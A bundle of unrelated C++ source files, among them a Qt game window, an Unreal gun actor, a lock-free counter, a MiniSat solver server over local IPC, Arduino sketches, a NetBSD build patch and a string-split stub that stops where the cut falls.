#include"stagedialog.h"
#include"gamemap.h"
#include"mapdata.h"
#include<QKeyEvent>
mainWindow::mainWindow(QWidget *parent)
: QWidget(parent)
, ui(new Ui::mainWindow)
, m(new gameMap(this))
, s(new stageDialog(this))
, data(new mapData)
{
ui->setupUi(this);
data->setData(this,m,1);
}
mainWindow::~mainWindow()
{
delete ui;
}
void mainWindow::keyPressEvent(QKeyEvent *event)
{
if(steps<1)
return;
if(event->key()==Qt::Key_Left)
m->left();
else if(event->key()==Qt::Key_Right)
m->right();
else if(event->key()==Qt::Key_Up)
m->up();
else if(event->key()==Qt::Key_Down)
m->down();
steps--;
}
|
// Fill out your copyright notice in the Description page of Project Settings.
#include "GunSMG.h"
#include "Kismet/GameplayStatics.h"
#include "Kismet/KismetSystemLibrary.h"
#include "GameFramework/Character.h"
#include "UObject/ConstructorHelpers.h"
#include "Components/SkeletalMeshComponent.h"
#include "Projectile.h"
// Sets default values
AGunSMG::AGunSMG()
{
PrimaryActorTick.bCanEverTick = true;
GunMesh = CreateDefaultSubobject<USkeletalMeshComponent>(TEXT("GunSMGMesh"));
RootComponent = GunMesh;
static ConstructorHelpers::FObjectFinder<USkeletalMesh> GunAsset(TEXT("/Game/Weapon/Weapons/Meshes/SMG11/SK_SMG11_Nostock_Y"));
if (GunAsset.Succeeded())
{
GunMesh->SetSkeletalMesh(GunAsset.Object);
GunMesh->SetRelativeLocation(FVector(0.0f, 0.0f, 0.0f));
GunMesh->BodyInstance.SetCollisionProfileName(TEXT("BlockAll"));
GunMesh->OnComponentHit.AddDynamic(this, &AGun::OnHit);
}
static ConstructorHelpers::FObjectFinder<UParticleSystem> PS(TEXT("/Game/StarterContent/Particles/P_Fire"));
if (PS.Succeeded())
{
ExplosionEffect = PS.Object;
}
}
// Called when the game starts or when spawned
void AGunSMG::BeginPlay()
{
Super::BeginPlay();
}
// Called every frame
void AGunSMG::Fire()
{
FVector CameraLocation;
FRotator LazerRotation;
Player->GetActorEyesViewPoint(CameraLocation, LazerRotation);
LazerRotation = Player->GetActorRotation();
FVector MuzzleLocation = CameraLocation + FTransform(LazerRotation).TransformVector(MuzzleOffset);
// You can use this to customize various properties about the trace
FCollisionQueryParams Params;
// Ignore the player's pawn
Params.AddIgnoredActor(Player);
// The hit result gets populated by the line trace
FHitResult Hit;
// Raycast out from the camera, only collide with pawns (they are on the ECC_Pawn collision channel)
FVector Start = MuzzleLocation;
FVector End = Start + (Player->GetActorRotation().Vector() * 1000.0f);
bool bHit = GetWorld()->LineTraceSingleByChannel(Hit, Start, End, ECC_WorldStatic, Params);
if (bHit)
{
//GEngine->AddOnScreenDebugMessage(-1, 5.f, FColor::White,AActor::GetDebugName(Hit.Actor.Get()));
// return Cast<APawn>(Hit.Actor.Get());
UGameplayStatics::SpawnEmitterAtLocation(GetWorld(), ExplosionEffect, Hit.Location);
}
FireAnimation();
}
// Called every frame
void AGunSMG::Tick(float DeltaTime)
{
Super::Tick(DeltaTime);
}
|
#include<iostream>
#include<string>
int main () {
std::string str = "Barev Karen";
std::cout<<str<<"\n";
int size = str.size();
char temp;
char* p1 = &str[0];
char* p2 = &str[size-1];
for(int i = 0; i < size/2 ; ++i){
temp = *p1;
*p1 = *p2;
*p2 = temp;
*--p2;
*++p1;
}
std::cout<<str<<"\n";
return 0;
}
|
// Copyright 2019 Benjamin Bader
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <metrics/LongAdder.h>
#include <cstdint>
#include <cstdlib>
#include <iostream>
#include <limits>
#include <memory>
#include <thread>
#include <type_traits>
#include <vector>
#include "AlignedAllocations.h"
namespace cppmetrics {
namespace {
namespace Thread {
std::uint64_t id(bool rehash)
{
static std::atomic<std::uint64_t> threadIdAllocator {1};
thread_local static std::uint64_t my_id = threadIdAllocator.fetch_add(1);
if (rehash)
{
// std::hash is notably slower than this routine, which is
// also lifted from Striped64.java.
my_id ^= my_id << 13;
my_id ^= my_id >> 17;
my_id ^= my_id >> 5;
}
return my_id;
}
} // namespace <anon>::Thread
class SpinUnlocker
{
public:
SpinUnlocker(std::atomic_bool& lock)
: m_lock(lock)
{}
~SpinUnlocker()
{
bool expected = true;
m_lock.compare_exchange_strong(expected, false, std::memory_order_seq_cst);
}
private:
std::atomic_bool& m_lock;
};
constexpr
inline
std::size_t
next_power_of_two(std::size_t n) noexcept
{
std::size_t result = 1;
while (result < n)
{
result <<= 1;
}
return result;
}
} // namespace
constexpr const std::size_t kCacheLine = 128; // True on all of our target platforms, AFAICT.
/**
* An atomic counter that is padded to the size of a typical cache line,
* which reduces the large performance penalty associated with false sharing.
*
* Note that heap-allocated [Cell] instances *must* be aligned to 64 bytes,
* which (in C++14) requires manual work. Use [AlignedAllocations::Allocate],
* or do it manually (e.g. via malloc, computing the nearest aligned address),
* and use placement-new.
*/
class alignas(kCacheLine) LongAdder::Cell
{
public:
Cell(std::size_t initial)
: m_atomic(initial)
{}
~Cell() = default;
value_t value() const
{
return m_atomic.load(std::memory_order_acquire);
}
bool cas(value_t expected, value_t replacement)
{
return m_atomic.compare_exchange_strong(expected, replacement, std::memory_order_release);
}
private:
std::atomic<LongAdder::value_t> m_atomic;
};
LongAdder::LongAdder()
: m_base_count(0)
, m_spinlock(0)
, m_cells()
{
std::size_t tableSize = next_power_of_two(std::thread::hardware_concurrency());
m_cells.resize(tableSize, nullptr);
}
LongAdder::~LongAdder()
{
for (auto&& pCell : m_cells)
{
if (pCell != nullptr)
{
AlignedAllocations::Destroy(pCell);
}
}
}
void LongAdder::incr(value_t n)
{
modify(n);
}
void LongAdder::decr(value_t n)
{
modify(-n);
}
LongAdder::value_t LongAdder::count() const noexcept
{
value_t base = m_base_count.load(std::memory_order_acquire);
for (auto&& cell : m_cells)
{
if (cell != nullptr)
{
base += cell->value();
}
}
return base;
}
void LongAdder::modify(value_t n)
{
bool collide = false;
uint64_t h = Thread::id(false);
while (true)
{
std::size_t tableSize = m_cells.size();
std::size_t mask = (tableSize - 1);
std::size_t index = h & mask;
Cell* cell = m_cells[index];
if (cell == nullptr)
{
if (!is_locked())
{
bool created = false;
cell = AlignedAllocations::Make<Cell>(n);
if (!is_locked() && lock())
{
SpinUnlocker unlocker(m_spinlock);
if (m_cells[index] == nullptr)
{
created = true;
m_cells[index] = cell;
}
if (created)
{
break;
}
else
{
AlignedAllocations::Destroy(cell);
continue;
}
}
AlignedAllocations::Destroy(cell);
}
collide = false;
}
else
{
value_t expected = cell->value();
if (cell->cas(expected, expected + n))
{
// woot
break;
}
else if (!collide)
{
collide = true;;
h = Thread::id(true);
}
else
{
expected = m_base_count.load(std::memory_order_acquire);
if (m_base_count.compare_exchange_strong(expected, expected + n, std::memory_order_release))
{
break;
}
}
}
}
}
bool LongAdder::is_locked()
{
return m_spinlock.load();
}
bool LongAdder::lock()
{
bool expected = false;
return m_spinlock.compare_exchange_strong(expected, true);
}
} // cppmetrics
|
#ifndef UTILS_H
#define UTILS_H
#include <opencv2/core.hpp>
#include <vector>
#include "stats.h"
using namespace std;
using namespace cv;
void drawBoundingBox(Mat image, vector<Point2f> bb);
void drawStatistics(Mat image, const Stats& stats);
void printStatistics(string name, Stats stats);
vector<Point2f> Points(vector<KeyPoint> keypoints);
Rect2d selectROI(const String &video_name, const Mat &frame);
void drawBoundingBox(Mat image, vector<Point2f> bb)
{
for(unsigned i = 0; i < bb.size() - 1; i++) {
line(image, bb[i], bb[i + 1], Scalar(0, 0, 255), 2);
}
line(image, bb[bb.size() - 1], bb[0], Scalar(0, 0, 255), 2);
}
void drawStatistics(Mat image, const Stats& stats)
{
static const int font = FONT_HERSHEY_PLAIN;
stringstream str1, str2, str3;
str1 << "Matches: " << stats.matches;
str2 << "Inliers: " << stats.inliers;
str3 << "Inlier ratio: " << setprecision(2) << stats.ratio;
putText(image, str1.str(), Point(0, image.rows - 90), font, 2, Scalar::all(255), 3);
putText(image, str2.str(), Point(0, image.rows - 60), font, 2, Scalar::all(255), 3);
putText(image, str3.str(), Point(0, image.rows - 30), font, 2, Scalar::all(255), 3);
}
void printStatistics(string name, Stats stats)
{
cout << name << endl;
cout << "----------" << endl;
cout << "Matches " << stats.matches << endl;
cout << "Inliers " << stats.inliers << endl;
cout << "Inlier ratio " << setprecision(2) << stats.ratio << endl;
cout << "Keypoints " << stats.keypoints << endl;
cout << endl;
}
vector<Point2f> Points(vector<KeyPoint> keypoints)
{
vector<Point2f> res;
for(unsigned i = 0; i < keypoints.size(); i++) {
res.push_back(keypoints[i].pt);
}
return res;
}
#endif // UTILS_H
|
/*****************************************************************************************[Main.cc]
Copyright (c) 2003-2006, Niklas Een, Niklas Sorensson
Copyright (c) 2007-2011, Niklas Sorensson
Copyright 2019 Richard Sanger, Wand Network Research Group
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge, publish, distribute,
sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or
substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT
NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT
OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
**************************************************************************************************/
#include <algorithm>
#include <array>
#include <errno.h>
#include <iostream>
#include <signal.h>
#include <sstream>
#include <string>
#include <vector>
#include <zmqpp/zmqpp.hpp>
#include <minisat/core/Dimacs.h>
#include <minisat/simp/SimpSolver.h>
#include <minisat/utils/Options.h>
#include <minisat/utils/ParseUtils.h>
#include <minisat/utils/System.h>
#define VERSION "0.1"
using namespace Minisat;
//=================================================================================================
void printStats(Solver &solver) {
double cpu_time = cpuTime();
double mem_used = memUsedPeak();
printf("restarts : %" PRIu64 "\n", solver.starts);
printf("conflicts : %-12" PRIu64 " (%.0f /sec)\n", solver.conflicts, solver.conflicts / cpu_time);
printf("decisions : %-12" PRIu64 " (%4.2f %% random) (%.0f /sec)\n", solver.decisions,
(float)solver.rnd_decisions * 100 / (float)solver.decisions, solver.decisions / cpu_time);
printf("propagations : %-12" PRIu64 " (%.0f /sec)\n", solver.propagations,
solver.propagations / cpu_time);
printf("conflict literals : %-12" PRIu64 " (%4.2f %% deleted)\n", solver.tot_literals,
(solver.max_literals - solver.tot_literals) * 100 / (double)solver.max_literals);
if (mem_used != 0)
printf("Memory used : %.2f MB\n", mem_used);
printf("CPU time : %g s\n", cpu_time);
}
//=================================================================================================
// Main:
static Solver *solver;
// Note that '_exit()' rather than 'exit()' has to be used. The reason is that 'exit()' calls
// destructors and may cause deadlocks if a malloc/free function happens to be running (these
// functions are guarded by locks for multithreaded use).
static void SIGINT_exit(int) {
printf("\n");
printf("*** INTERRUPTED ***\n");
if (solver->verbosity > 0) {
printStats(*solver);
printf("\n");
printf("*** INTERRUPTED ***\n");
}
_exit(1);
}
//=================================================================================================
// Main:
using namespace std;
template <class T> void add_clause(T &s, string &clause, string &full_dimacs) {
// void add_clause(Solver& s, string &clause) {
int var;
stringstream ss(clause);
vec<Lit> lits;
full_dimacs += clause + " 0\n";
// Loop all vars included
while (ss >> var) {
if (var == 0) { // Allow DIMACS style, with 0 terminator
s.addClause(lits);
lits.clear();
continue;
}
// minisat is 0 indexed dimcas is 1
int abs_var = abs(var) - 1;
while (abs_var >= s.nVars())
s.newVar();
lits.push((var > 0) ? mkLit(abs_var) : ~mkLit(abs_var));
}
s.addClause(lits);
}
void collect_clause(string &clause, vector<vector<Lit>> &full_problem) {
int var;
stringstream ss(clause);
vector<Lit> lits;
// Loop all vars included
while (ss >> var) {
// minisat is 0 indexed dimcas is 1
int abs_var = abs(var) - 1;
lits.push_back((var > 0) ? mkLit(abs_var) : ~mkLit(abs_var));
}
full_problem.push_back(lits);
}
vector<Var> parse_vars(string &var_string) {
// Parse a string of variable numbers in list of Var's
int var;
vector<Var> ret;
stringstream ss(var_string);
while (ss >> var)
ret.push_back(var - 1);
return ret;
}
void print_solution(Solver &solv) {
cout << "SAT\n";
for (int i = 0; i < solv.nVars(); i++)
if (solv.model[i] != l_Undef)
cout << ((i == 0) ? "" : " ") << ((solv.model[i] == l_True) ? "" : "-") << i + 1;
cout << " 0\n";
}
/*
o: (O)utput the full problem in the dimacs format
d: Add clauses from a (d)imacs file (only incremental), now UNUSED
r: Add a clause incrementally [(r)eceive]
f: (F)inish and exit
s: (S)olve and return a string of true variables
p: Register (p)lacement variables which used to generate the result.
These are disallowed on the next iteration.
c: Register variables which you (c)are about. I.e. 's' only returns these
*/
template <class T> void handle_requests(T &s, bool incr, const char *ipc_path, int verb) {
string endpoint = "ipc:///tmp/";
string full_dimacs;
endpoint += ipc_path;
zmqpp::context context;
vector<vector<Lit>> full_problem;
vector<Lit> blocking_clause;
zmqpp::socket_type type = zmqpp::socket_type::rep;
zmqpp::socket socket(context, type);
if (verb)
cout << "Connecting to " << endpoint << endl;
socket.connect(endpoint);
vector<Var> cares;
vector<Var> places;
while (1) {
uint8_t type;
zmqpp::message message_recv;
zmqpp::message message_send;
string a;
gzFile in;
T new_solver;
int n_clauses;
socket.receive(message_recv);
message_recv >> type;
switch (type) {
case 'o':
// Return in dimacs format
n_clauses = count(full_dimacs.begin(), full_dimacs.end(), '\n');
a += "p cnf ";
a += to_string(s.nVars()); // Number of vars
a += " ";
a += to_string(n_clauses);
a += "\n";
a += full_dimacs;
message_send.add(a);
break;
case 'd':
if (incr) {
message_recv >> a;
if (verb)
cout << "Loading file: " << a;
in = gzopen(a.c_str(), "rb");
parse_DIMACS(in, s);
gzclose(in);
message_send.add("OK");
} else {
message_send.add("NOT_SUPPORTED");
}
break;
case 'p':
message_recv >> a;
if (verb)
cout << "Place vars are : " << a << endl;
places = parse_vars(a);
// What do we care about?
message_send.add("OK");
break;
case 'c':
message_recv >> a;
if (verb)
cout << "We care about : " << a << endl;
cares = parse_vars(a);
// What do we care about?
message_send.add("OK");
// s.eliminate(false);
s.simplify();
if (verb)
cout << "Simplify" << endl;
break;
case 'r':
// Sadly only new versions of zmqpp have remaining()
// 1st part was the 'type'
for (size_t i = 1; i < message_recv.parts(); i++) {
message_recv >> a;
if (incr) {
add_clause(s, a, full_dimacs);
} else {
collect_clause(a, full_problem);
}
}
message_send.add("OK");
break;
case 'f':
if (verb)
cout << "Closing, goodbye" << endl;
message_send.add("OK");
socket.send(message_send);
return;
case 's':
T &solv = incr ? s : new_solver;
if (!incr) {
for (auto &a : full_problem) {
vec<Lit> vs;
for (auto &l : a) {
vs.push(l);
while (l.x / 2 >= solv.nVars())
solv.newVar();
}
solv.addClause_(vs);
}
}
if (std::is_same<SimpSolver, T>::value) {
SimpSolver &solv2 = static_cast<SimpSolver &>(solv);
if (verb)
cout << "Eliminate" << endl;
solv2.eliminate(true);
} else {
// solv.simplify();
// if (verb)
// cout<<"Simplify"<<endl;
}
// Give me a solution
vec<Lit> dummy;
if (solv.solveLimited(dummy) == l_True) {
// printStats(s);
// Collect the result
string out;
if (cares.empty()) {
for (Var i = 0; i < solv.nVars(); i++) {
if (solv.modelValue(i) == l_True) {
if (!out.empty())
out += " ";
out += to_string(i + 1);
}
}
} else {
for (Var i : cares) {
if (solv.modelValue(i) == l_True) {
if (!out.empty())
out += " ";
out += to_string(i + 1);
}
blocking_clause.push_back(mkLit(i, solv.modelValue(i) == l_True));
}
}
// Return the result
message_send.add(out);
if (verb >= 2)
print_solution(solv);
// Add a clause to stop this combination
// Collect only the placement clauses
blocking_clause.clear();
if (places.empty()) {
for (Var i = 0; i < solv.nVars(); i++) {
blocking_clause.push_back(mkLit(i, solv.modelValue(i) == l_True));
}
} else {
for (Var i : places) {
blocking_clause.push_back(mkLit(i, solv.modelValue(i) == l_True));
}
}
// Add counter clause for next time
if (incr) {
vec<Lit> a;
for (auto &l : blocking_clause) {
a.push(l);
full_dimacs += sign(l) ? "-" : "";
full_dimacs += to_string(var(l) + 1);
full_dimacs += " ";
}
full_dimacs += "0\n";
solv.addClause_(a);
} else {
full_problem.push_back(blocking_clause);
}
} else {
if (verb)
cout << "UNSAT" << endl;
message_send.add("UNSAT");
}
break;
}
socket.send(message_send);
}
}
int main(int argc, char **argv) {
try {
setUsageHelp("USAGE: %s [options] -ipc-name=<name>\nVERSION: " VERSION "\n");
// Extra options:
//
IntOption verb("MAIN", "verb", "Verbosity level (0=silent, 1=some, 2=more).", 0, IntRange(0, 2));
StringOption ipc_name("MAIN", "ipc-name", "zmq socket name ipc:/tmp/<ipc-path>", "dminisat");
parseOptions(argc, argv, true);
Solver S;
solver = &S;
// Use signal handlers that forcibly quit:
signal(SIGINT, SIGINT_exit);
signal(SIGXCPU, SIGINT_exit);
handle_requests(S, true, ipc_name, verb);
return 0;
} catch (OutOfMemoryException &) {
printf("===============================================================================\n");
printf("INDETERMINATE\n");
exit(0);
}
}
|
#include<iostream>
#include<string>
#include<iomanip>
#include "office.h"
#include "candidate.h"
using namespace std;
//------------------------------------------------------------------------------
// Constructor
//------------------------------------------------------------------------------
office::office() {
name = "";
numCand = 0;
}// office()
//------------------------------------------------------------------------------
// Sets and Gets
//------------------------------------------------------------------------------
void office::setOfficeName(string newName) {
name = newName;
}// setOfficeName()
string office::getOfficeName() {
return name;
}// getOfficeName()
int office::getNumCandidates() {
return numCand;
}// getNumCandidates()
candidate office::getCandidate(int index) {
if (index >= numCand || index < 0) {
candidate emptyCand;
return emptyCand; // return an empty candidate object if they enter in a bad index
}
else
return lst[index];
}// getCandidate()
//-----------------------------------------------------------------------------
// Main Functions
//-----------------------------------------------------------------------------
void office::addCandidate(int ballotNum, string party, string newCandName) {
if (numCand < MAX_CAND) {
// set ballotNum, party and name of new candidate
lst[numCand].setBallotNum(ballotNum);
lst[numCand].setParty(party);
lst[numCand].setName(newCandName);
// increment num of candidates
numCand++;
}
else
cout << "office::addCandidate: max candidates exceeded\n";
}// addCandidate()
void office::doVote() {
// print office ballet
print();
// get ballot num
int ballotNum;
cout << "Enter ballot bumber: "; cin >> ballotNum;
while (ballotNum > numCand || ballotNum < 1 ) {
cout << "Invalid input. Enter ballot number: "; cin >> ballotNum;
}
ballotNum--; // index to use is one less than ballotNum
lst[ballotNum].addVote(); // give vote to given candidate
cout << "You voted for " << lst[ballotNum].getName() << ". Thank you!\n";
}// doVote()
void office::print() {
// election for "OFFICE NAME"
cout << "Election for " << name << endl;
// print out each candidate
for (int i = 0; i < numCand; i++) {
lst[i].print();
}
}// print()
void office::printReport() {
cout << "Report of Election for " << name << endl;
for (int i = 0; i < numCand; i++) {
cout << setw(2) << right << i+1 << " ";
cout << setw(3) << left << lst[i].getParty() << " ";
cout << setw(15) << left << lst[i].getName() << " ";
cout << setw(4) << right << lst[i].getVotes() << endl;
}
}// printReport()
|
//====================================================================================
// @Title: AILMENTS
//------------------------------------------------------------------------------------
// @Location: /game/rpg/include/cAilmentsDef.cpp
// @Author: Kevin Chen
// @Rights: Copyright(c) 2011 Visionary Games
//====================================================================================
#include "../include/cAilmentsDef.h"
|
//*************************************************************************************************************
//
// サウンド処理 [sound.h]
// Author:IKUTO SEKINE
//
//*************************************************************************************************************
#ifndef _SOUND_H_
#define _SOUND_H_
//-------------------------------------------------------------------------------------------------------------
// インクルードファイル
//-------------------------------------------------------------------------------------------------------------
#include "../main.h"
//-------------------------------------------------------------------------------------------------------------
// クラス定義
//-------------------------------------------------------------------------------------------------------------
class CSound
{
public:
// サウンドラベル
typedef enum
{
SOUND_LABEL_NONE = -1, // 無し
/* ----- BGM ----- */
SOUND_LABEL_BGM_TITLE = 0, // タイトル
SOUND_LABEL_BGM_SELECT, // 選択
SOUND_LABEL_BGM_TUTORIAL, // チュートリアル
SOUND_LABEL_BGM_GAME, // ゲーム
SOUND_LABEL_BGM_RESULT, // リザルト
/* ----- SE ----- */
SOUND_LABEL_SE_NEXT, // 次へ
SOUND_LABEL_SE_SELECT, // 選択
SOUND_LABEL_SE_DECISION, // 決定
SOUND_LABEL_SE_ATTACKHIT, // 攻撃が当たったとき
SOUND_LABEL_SE_DEADLYATTACKHIT, // 必殺技が当たったとき
SOUND_LABEL_SE_FIRE, // 発射
SOUND_LABEL_SE_CHARGE, // チャージ
/* ----- 最大数 ----- */
SOUND_LABEL_MAX,
} SOUND_LABEL;// サウンドラベル
// サウンドパラメータ
typedef struct
{
std::string fileName; // ファイル名
int nCntLoop; // ループカウント BGM = -1 ; SE = 1
} SOUNDPARAM;
CSound(); // コンストラクタ
~CSound(); // デストラクタ
HRESULT InitSound(HWND hWnd, const char * pFileName); // 初期化
void UninitSound(void); // 終了
HRESULT PlaySound(SOUND_LABEL label); // セグメント再生(再生中なら停止)
HRESULT DoNotOverlapPlaySound(SOUND_LABEL label); // セグメント再生(同じSEが重ならないようにする)
void StopSound(SOUND_LABEL label); // セグメント停止(ラベル指定)
void StopSound(void); // セグメント停止(全て)
private:
/* メンバ関数 */
HRESULT CheckChunk(HANDLE hFile, DWORD format, DWORD *pChunkSize, DWORD *pChunkDataPosition); // チャンクのチェック
HRESULT ReadChunkData(HANDLE hFile, void *pBuffer, DWORD dwBuffersize, DWORD dwBufferoffset); // チャンクデータの読み込み
void UnLoadFileName(void); // サウンドファイル名の開放
/* メンバ変数 */
IXAudio2* m_pXAudio2; // XAudio2オブジェクトへのインターフェイス
IXAudio2MasteringVoice* m_pMasteringVoice; // マスターボイス
IXAudio2SourceVoice* m_apSourceVoice[SOUND_LABEL_MAX]; // ソースボイス
BYTE* m_apDataAudio[SOUND_LABEL_MAX]; // オーディオデータ
DWORD m_aSizeAudio[SOUND_LABEL_MAX]; // オーディオデータサイズ
SOUNDPARAM m_aParam[SOUND_LABEL_MAX]; // 各音素材のパラメータ
};
#endif
|
#include "tools.h"
#include <iostream>
using Eigen::VectorXd;
using Eigen::MatrixXd;
using std::vector;
Tools::Tools() {}
Tools::~Tools() {}
VectorXd Tools::CalculateRMSE(const vector<VectorXd> &estimations,
const vector<VectorXd> &ground_truth) {
/**
* TODO: Calculate the RMSE here.
*/
VectorXd rmse(4);
rmse << 0,0,0,0;
if(estimations.size()==0){
std::cout<<"CalculateRMSE() SizeZeroError!"<<std::endl;
return rmse;
}
if(estimations.size()!=ground_truth.size()){
std::cout<<"CalculateRMSE() NotEqualSizeError!"<<std::endl;
return rmse;
}
for (int i=0; i < estimations.size(); ++i) {
VectorXd error = estimations[i] - ground_truth[i];
error = error.array() * error.array(); //this is how to square arrays!
rmse += error;
}
rmse = rmse/estimations.size();
rmse = rmse.array().sqrt();
return rmse;
}
MatrixXd Tools::CalculateJacobian(const VectorXd& x_state) {
/**
* TODO:
* Calculate a Jacobian here.
*/
MatrixXd Hj(3,4);
float px = x_state(0);
float py = x_state(1);
float vx = x_state(2);
float vy = x_state(3);
float denom = pow(px, 2.0)+pow(py, 2.0);
float vxpyMinusvypx = vx * py - vy * px;
if(fabs(denom)<0.0001){
std::cout << "CalculateJacobian () - DivByZeroError!" << std::endl;
return Hj;
}
Hj << px/sqrt(denom), py/sqrt(denom), 0, 0,
-py/denom, px/denom, 0, 0,
py*vxpyMinusvypx/pow(denom, 3.0/2.0), -px*vxpyMinusvypx/pow(denom, 3.0/2.0), px/sqrt(denom), py/sqrt(denom);
return Hj;
}
|
//
// Created by Lee on 2019-04-19.
//
#include "PhotoThumbnail.h"
#include <QLabel>
#include <QDebug>
#include "ImagePool.h"
#include "ThumbnailMaker.h"
#include "ImageDownloader.h"
#include "RootUnit.h"
PhotoThumbnail::PhotoThumbnail(QWidget *parent,
PhotoGroup * group) : QWidget(parent) {
pushButton = new QPushButton(this);
pushButton->resize(475, 475);
QLabel * textLabel = new QLabel(pushButton);
textLabel->setText(group->getName());
QRect tmpRect = pushButton->geometry();
tmpRect.moveTo(tmpRect.x() + 232, tmpRect.y());
tmpRect.setSize(QSize(475, 25));
textLabel->setGeometry(tmpRect);
photos = group->getPhotoList();
this->resize(475, 475);
ThumbnailMaker::makeThumbnailOfPhotoGroup(group, pushButton, thumbnails);
connect(pushButton, SIGNAL(released()), this, SLOT(handleButton()));
}
void PhotoThumbnail::handleButton() {
auto rootUnit = (RootUnit *)(this->parent()->parent()->parent());
ViewerView *viewerView = rootUnit->getViewerView();
viewerView->updatePhotoList(&photos);
rootUnit->getStackedWidget()->setCurrentIndex(RootUnit::VIEW_IMAGE);
}
|
#include "Arduino.h"
#include "morsecode.h"
MorseCode::MorseCode(int pin, int delaytime)
{
pinMode(pin, OUTPUT);
_pin = pin;
_delaytime = delaytime;
}
void MorseCode::dot()
{
digitalWrite(_pin, HIGH);
delay(_delaytime);
digitalWrite(_pin, LOW);
delay(_delaytime);
}
void MorseCode::dash()
{
digitalWrite(_pin, HIGH);
delay(_delaytime * 3);
digitalWrite(_pin, LOW);
delay(_delaytime);
}
void MorseCode::divid()
{
digitalWrite(_pin, LOW);
delay(_delaytime * 3);
}
void MorseCode::space()
{
digitalWrite(_pin, LOW);
delay(_delaytime * 7);
}
|
// Created on: 1993-11-03
// Created by: Christian CAILLET
// Copyright (c) 1993-1999 Matra Datavision
// Copyright (c) 1999-2014 OPEN CASCADE SAS
//
// This file is part of Open CASCADE Technology software library.
//
// This library is free software; you can redistribute it and/or modify it under
// the terms of the GNU Lesser General Public License version 2.1 as published
// by the Free Software Foundation, with special exception defined in the file
// OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT
// distribution for complete text of the license and disclaimer of any warranty.
//
// Alternatively, this file may be used under the terms of Open CASCADE
// commercial license or contractual agreement.
#ifndef _IFSelect_SelectSharing_HeaderFile
#define _IFSelect_SelectSharing_HeaderFile
#include <Standard.hxx>
#include <Standard_Type.hxx>
#include <IFSelect_SelectDeduct.hxx>
class Interface_EntityIterator;
class Interface_Graph;
class TCollection_AsciiString;
class IFSelect_SelectSharing;
DEFINE_STANDARD_HANDLE(IFSelect_SelectSharing, IFSelect_SelectDeduct)
//! A SelectSharing selects Entities which directly Share (Level
//! One) the Entities of the Input list
//! Remark : if an Entity of the Input List directly shares
//! another one, it is of course present in the Result List
class IFSelect_SelectSharing : public IFSelect_SelectDeduct
{
public:
//! Creates a SelectSharing;
Standard_EXPORT IFSelect_SelectSharing();
//! Returns the list of selected entities (list of entities
//! which share (level one) those of input list)
Standard_EXPORT Interface_EntityIterator RootResult (const Interface_Graph& G) const Standard_OVERRIDE;
//! Returns a text defining the criterium : "Sharing (one level)"
Standard_EXPORT TCollection_AsciiString Label() const Standard_OVERRIDE;
DEFINE_STANDARD_RTTIEXT(IFSelect_SelectSharing,IFSelect_SelectDeduct)
protected:
private:
};
#endif // _IFSelect_SelectSharing_HeaderFile
|
#include "PMS.h"
#include "SoftwareSerial.h"
#include "DHT.h"
SoftwareSerial Serial1(2, 3);
PMS pms(Serial1);
PMS::DATA data;
DHT dht;
void setup() {
Serial.begin(9600);
Serial1.begin(9600);
dht.setup(7);
}
void loop() {
if (pms.read(data))
{
Serial.print("PM 10.0 (ug/m3): ");
Serial.println(data.PM_AE_UG_10_0);
Serial.print("Temp. (C): ");
Serial.println(dht.getTemperature());
Serial.print("Hum. (%RH): ");
Serial.println(dht.getHumidity());
delay(3000);
}
}
|
$NetBSD$
Support NetBSD.
--- scribus/scclocale.cpp.orig 2019-07-30 22:35:07.000000000 +0000
+++ scribus/scclocale.cpp
@@ -27,7 +27,7 @@ ScCLocale::ScCLocale()
#if defined(Q_OS_WIN)
cLocale = _create_locale(LC_ALL, "C");
#else
- #if not defined(Q_OS_SOLARIS) and not defined(Q_OS_OPENBSD) and not defined(Q_OS_FREEBSD) and not defined(Q_OS_HAIKU)
+ #if not defined(Q_OS_SOLARIS) and not defined(Q_OS_OPENBSD) and not defined(Q_OS_FREEBSD) and not defined(Q_OS_NETBSD) and not defined(Q_OS_HAIKU)
cLocale = newlocale(LC_ALL_MASK, "C", nullptr);
#endif
#endif
@@ -38,7 +38,7 @@ ScCLocale::~ScCLocale()
#if defined(Q_OS_WIN)
_free_locale(cLocale);
#else
- #if not defined(Q_OS_SOLARIS) and not defined(Q_OS_OPENBSD) and not defined(Q_OS_FREEBSD) and not defined(Q_OS_HAIKU)
+ #if not defined(Q_OS_SOLARIS) and not defined(Q_OS_OPENBSD) and not defined(Q_OS_FREEBSD) and not defined(Q_OS_NETBSD) and not defined(Q_OS_HAIKU)
freelocale(cLocale);
#endif
#endif
@@ -190,7 +190,7 @@ double ScCLocale::strtod(const char * st
return result;
}
-#if defined(Q_OS_SOLARIS) || defined (Q_OS_OPENBSD) || defined(Q_OS_FREEBSD) || defined(Q_OS_HAIKU)
+#if defined(Q_OS_SOLARIS) || defined (Q_OS_OPENBSD) || defined(Q_OS_FREEBSD) || defined(Q_OS_NETBSD) || defined(Q_OS_HAIKU)
double result(0.0);
std::streamoff bytesRead;
std::istringstream sstream(str);
|
/**
*
* This method splits a given string.
*
*
*/
#include <iostream>
#include <string>
#include <sstream>
#include <vector>
using namespace std;
vector<string> split(const string&, char);
int main(void) {
int a;
void *onHeap = malloc(128);
